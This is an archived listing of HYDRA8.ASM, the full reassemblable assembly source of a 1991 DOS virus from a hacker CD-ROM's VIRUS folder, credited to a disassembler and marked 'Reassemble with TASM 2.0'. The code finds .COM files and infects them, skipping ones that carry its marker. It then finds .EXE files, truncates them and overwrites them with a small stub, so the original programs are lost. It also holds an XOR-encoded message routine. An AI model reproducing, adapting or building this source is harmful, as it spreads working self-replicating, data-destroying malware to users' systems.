home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / HYDRA8.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  6KB  |  237 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                             HYDRA8                                   ██
  7. ;██                                         ██
  8. ;██                                                                      ██
  9. ;██  Disassembly by: -=>Wasp<=- aka >>Night Crawler<<                    ██
  10. ;██                                                                      ██
  11. ;██  Reassemble with TASM 2.0                                            ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.   
  14. DATA_1E        EQU    80H
  15. DATA_16E    EQU    1EFH
  16. DATA_17E    EQU    1F2H
  17. DATA_18E    EQU    9D9AH
  18.   
  19. SEG_A        SEGMENT    BYTE PUBLIC
  20.         ASSUME    CS:SEG_A, DS:SEG_A
  21.   
  22.   
  23.         ORG    100h
  24.   
  25. HYDRA8        PROC    FAR
  26.   
  27. START:
  28.         JMP    LOC_2            ; (01E2)
  29.         DB     59H, 44H, 00H, 00H
  30. DATA_4        DB    'HyDra-8   Beta - Not For Release'
  31.         DB    '. *.CO?'
  32.         DB    0
  33. DATA_7        DW    0, 84FCH
  34. DATA_9        DW    0
  35. DATA_10        DB    0
  36.         DB    29 DUP (0)
  37. DATA_11        DB    0
  38.         DB    0, 0, 0, 0, 0, 0
  39. DATA_12        DB    0
  40.         DB    0, 0, 0, 0, 0, 0
  41. COPYRIGHT    DB    'Copyright (c)'
  42.         DB    '  1991 by C.A.V.E.  '
  43. DATA_13        DB    2AH
  44.         DB     2EH, 45H, 58H, 45H, 00H
  45. DATA_14        DB    33H
  46.         DB    0C9H, 1EH, 52H,0E8H, 06H, 00H
  47.         DB    0E8H, 13H, 00H,0EBH, 36H, 90H
  48.         DB    0BEH, 48H, 01H,0BFH, 5AH, 01H
  49.         DB    0B9H, 12H, 00H
  50.   
  51. LOCLOOP_1:
  52.         XOR    BYTE PTR [SI],0F5H
  53.         MOVSB                ; Mov [si] to es:[di]
  54.         LOOP    LOCLOOP_1        ; Loop if cx > 0
  55.   
  56.         RETN
  57.         MOV    AX,0F00H
  58.         INT    10H            ; Video display   ah=functn 0Fh
  59.                         ;  get state, al=mode, bh=page
  60.         MOV    AH,0
  61.         INT    10H            ; Video display   ah=functn 00h
  62.                         ;  set display mode in al
  63.         MOV    AX,200H
  64.         MOV    DH,0CH
  65.         MOV    DL,1FH
  66.         INT    10H            ; Video display   ah=functn 02h
  67.                         ;  set cursor location in dx
  68.         XOR    DX,DX            ; Zero register
  69.         MOV    DX,OFFSET DATA_12
  70.         MOV    AH,9
  71.         INT    21H            ; DOS Services  ah=function 09h
  72.                         ;  display char string at ds:dx
  73.         MOV    AX,200H
  74.         MOV    DH,18H
  75.         MOV    DL,0
  76.         INT    10H            ; Video display   ah=functn 02h
  77.                         ;  set cursor location in dx
  78.         RETN
  79.         MOV    AX,4C00H
  80.         INT    21H            ; DOS Services  ah=function 4Ch
  81.                         ;  terminate with al=return code
  82.         ADD    [BP+SI-6563H],AH
  83.         CMC                ; Complement carry
  84.         PUSHF                ; Push flags
  85.         XCHG    DH,CH
  86.         MOV    DI,DATA_18E
  87.         DB     9BH,0F5H,0B2H, 94H, 99H, 81H
  88.         DB    0CAH,0D1H
  89. LOC_2:
  90.         PUSH    AX
  91.         MOV    AX,CS
  92.         ADD    AX,1000H
  93.         XOR    DI,DI            ; Zero register
  94.         MOV    CX,1EFH
  95.         MOV    SI,OFFSET DS:[100H]
  96.         MOV    ES,AX
  97.         REP    MOVSB            ; Rep when cx >0 Mov [si] to es:[di]
  98.         MOV    AH,1AH
  99.         MOV    DX,OFFSET DATA_10
  100.         INT    21H            ; DOS Services  ah=function 1Ah
  101.                         ;  set DTA to ds:dx
  102.         MOV    AH,4EH            ; 'N'
  103.         MOV    DX,OFFSET DATA_4+22H
  104.         INT    21H            ; DOS Services  ah=function 4Eh
  105.                         ;  find 1st filenam match @ds:dx
  106.         JC    LOC_6            ; Jump if carry Set
  107. LOC_3:
  108.         MOV    AH,3DH            ; '='
  109.         MOV    AL,2
  110.         MOV    DX,OFFSET DATA_11
  111.         INT    21H            ; DOS Services  ah=function 3Dh
  112.                         ;  open file, al=mode,name@ds:dx
  113.         MOV    BX,AX
  114.         PUSH    ES
  115.         POP    DS
  116.         MOV    AX,3F00H
  117.         MOV    CX,0FFFFH
  118.         MOV    DX,DATA_16E
  119.         INT    21H            ; DOS Services  ah=function 3Fh
  120.                         ;  read file, cx=bytes, to ds:dx
  121.         ADD    AX,1EFH
  122.         MOV    CS:DATA_9,AX
  123.         CMP    WORD PTR DS:DATA_17E,4459H
  124.         JNE    LOC_4            ; Jump if not equal
  125.         MOV    AH,3EH            ; '>'
  126.         INT    21H            ; DOS Services  ah=function 3Eh
  127.                         ;  close file, bx=file handle
  128.         PUSH    CS
  129.         POP    DS
  130.         MOV    AH,4FH            ; 'O'
  131.         INT    21H            ; DOS Services  ah=function 4Fh
  132.                         ;  find next filename match
  133.         JC    LOC_7            ; Jump if carry Set
  134.         JMP    SHORT LOC_3        ; (0204)
  135. LOC_4:
  136.         XOR    CX,CX            ; Zero register
  137.         MOV    DX,CX
  138.         MOV    AX,4200H
  139.         INT    21H            ; DOS Services  ah=function 42h
  140.                         ;  move file ptr, cx,dx=offset
  141.         JC    LOC_5            ; Jump if carry Set
  142.         MOV    AH,40H            ; '@'
  143.         XOR    DX,DX            ; Zero register
  144.         MOV    CX,CS:DATA_9
  145.         INT    21H            ; DOS Services  ah=function 40h
  146.                         ;  write file cx=bytes, to ds:dx
  147. LOC_5:
  148.         MOV    AH,3EH            ; '>'
  149.         INT    21H            ; DOS Services  ah=function 3Eh
  150.                         ;  close file, bx=file handle
  151.         PUSH    CS
  152.         POP    DS
  153. LOC_6:
  154.         MOV    AH,1AH
  155.         MOV    DX,DATA_1E
  156.         INT    21H            ; DOS Services  ah=function 1Ah
  157.                         ;  set DTA to ds:dx
  158.         JMP    SHORT LOC_10        ; (02B0)
  159.         DB    90H
  160. LOC_7:
  161.         CLC                ; Clear carry flag
  162.         XOR    CX,CX            ; Zero register
  163.         PUSH    DS
  164.         PUSH    DX
  165.         MOV    AH,1AH
  166.         MOV    DX,OFFSET DATA_10
  167.         INT    21H            ; DOS Services  ah=function 1Ah
  168.                         ;  set DTA to ds:dx
  169.         MOV    DX,OFFSET DATA_13
  170.         MOV    AH,4EH            ; 'N'
  171.         XOR    CX,CX            ; Zero register
  172.         INT    21H            ; DOS Services  ah=function 4Eh
  173.                         ;  find 1st filenam match @ds:dx
  174.         JC    LOC_6            ; Jump if carry Set
  175. LOC_8:
  176.         MOV    AH,3CH            ; '<'
  177.         XOR    CX,CX            ; Zero register
  178.         MOV    DX,OFFSET DATA_11
  179.         INT    21H            ; DOS Services  ah=function 3Ch
  180.                         ;  create/truncate file @ ds:dx
  181.         MOV    BX,AX
  182.         JC    LOC_6            ; Jump if carry Set
  183.         MOV    AX,3D02H
  184.         MOV    DX,OFFSET DATA_11
  185.         INT    21H            ; DOS Services  ah=function 3Dh
  186.                         ;  open file, al=mode,name@ds:dx
  187.         MOV    BX,AX
  188.         CLC                ; Clear carry flag
  189.         XOR    DX,DX            ; Zero register
  190.         MOV    AH,40H            ; '@'
  191.         MOV    DX,OFFSET DATA_14
  192.         MOV    CX,5AH
  193.         INT    21H            ; DOS Services  ah=function 40h
  194.                         ;  write file cx=bytes, to ds:dx
  195.         CMP    AX,5AH
  196.         JB    LOC_9            ; Jump if below
  197.         MOV    AH,3EH            ; '>'
  198.         INT    21H            ; DOS Services  ah=function 3Eh
  199.                         ;  close file, bx=file handle
  200.         JC    LOC_9            ; Jump if carry Set
  201.         MOV    AH,4FH            ; 'O'
  202.         INT    21H            ; DOS Services  ah=function 4Fh
  203.                         ;  find next filename match
  204.         JNC    LOC_8            ; Jump if carry=0
  205. LOC_9:
  206.         MOV    AX,4C00H
  207.         INT    21H            ; DOS Services  ah=function 4Ch
  208.                         ;  terminate with al=return code
  209. LOC_10:
  210.         XOR    DI,DI            ; Zero register
  211.         MOV    SI,OFFSET DATA_15
  212.         MOV    CX,22H
  213.         REP    MOVSB            ; Rep when cx >0 Mov [si] to es:[di]
  214.         POP    BX
  215.         MOV    CS:DATA_7,0
  216.         MOV    WORD PTR CS:DATA_7+2,ES
  217.         POP    BX
  218.         JMP    DWORD PTR CS:DATA_7
  219. DATA_15        DB    1EH
  220.         DB     07H,0B9H,0FFH,0FFH,0BEH,0EFH
  221.         DB     02H,0BFH, 00H, 01H, 2BH,0CEH
  222.         DB    0F3H,0A4H, 2EH,0C7H, 06H, 00H
  223.         DB     01H, 00H, 01H, 2EH, 8CH, 1EH
  224.         DB     02H, 01H, 8BH,0C3H, 2EH,0FFH
  225.         DB     2EH, 00H, 01H,0CDH
  226.         DB    20H
  227.   
  228. HYDRA8        ENDP
  229.   
  230. SEG_A        ENDS
  231.   
  232.   
  233.   
  234.         END    START
  235.  
  236. Downloaded From P-80 International Information Systems 304-744-2253
  237.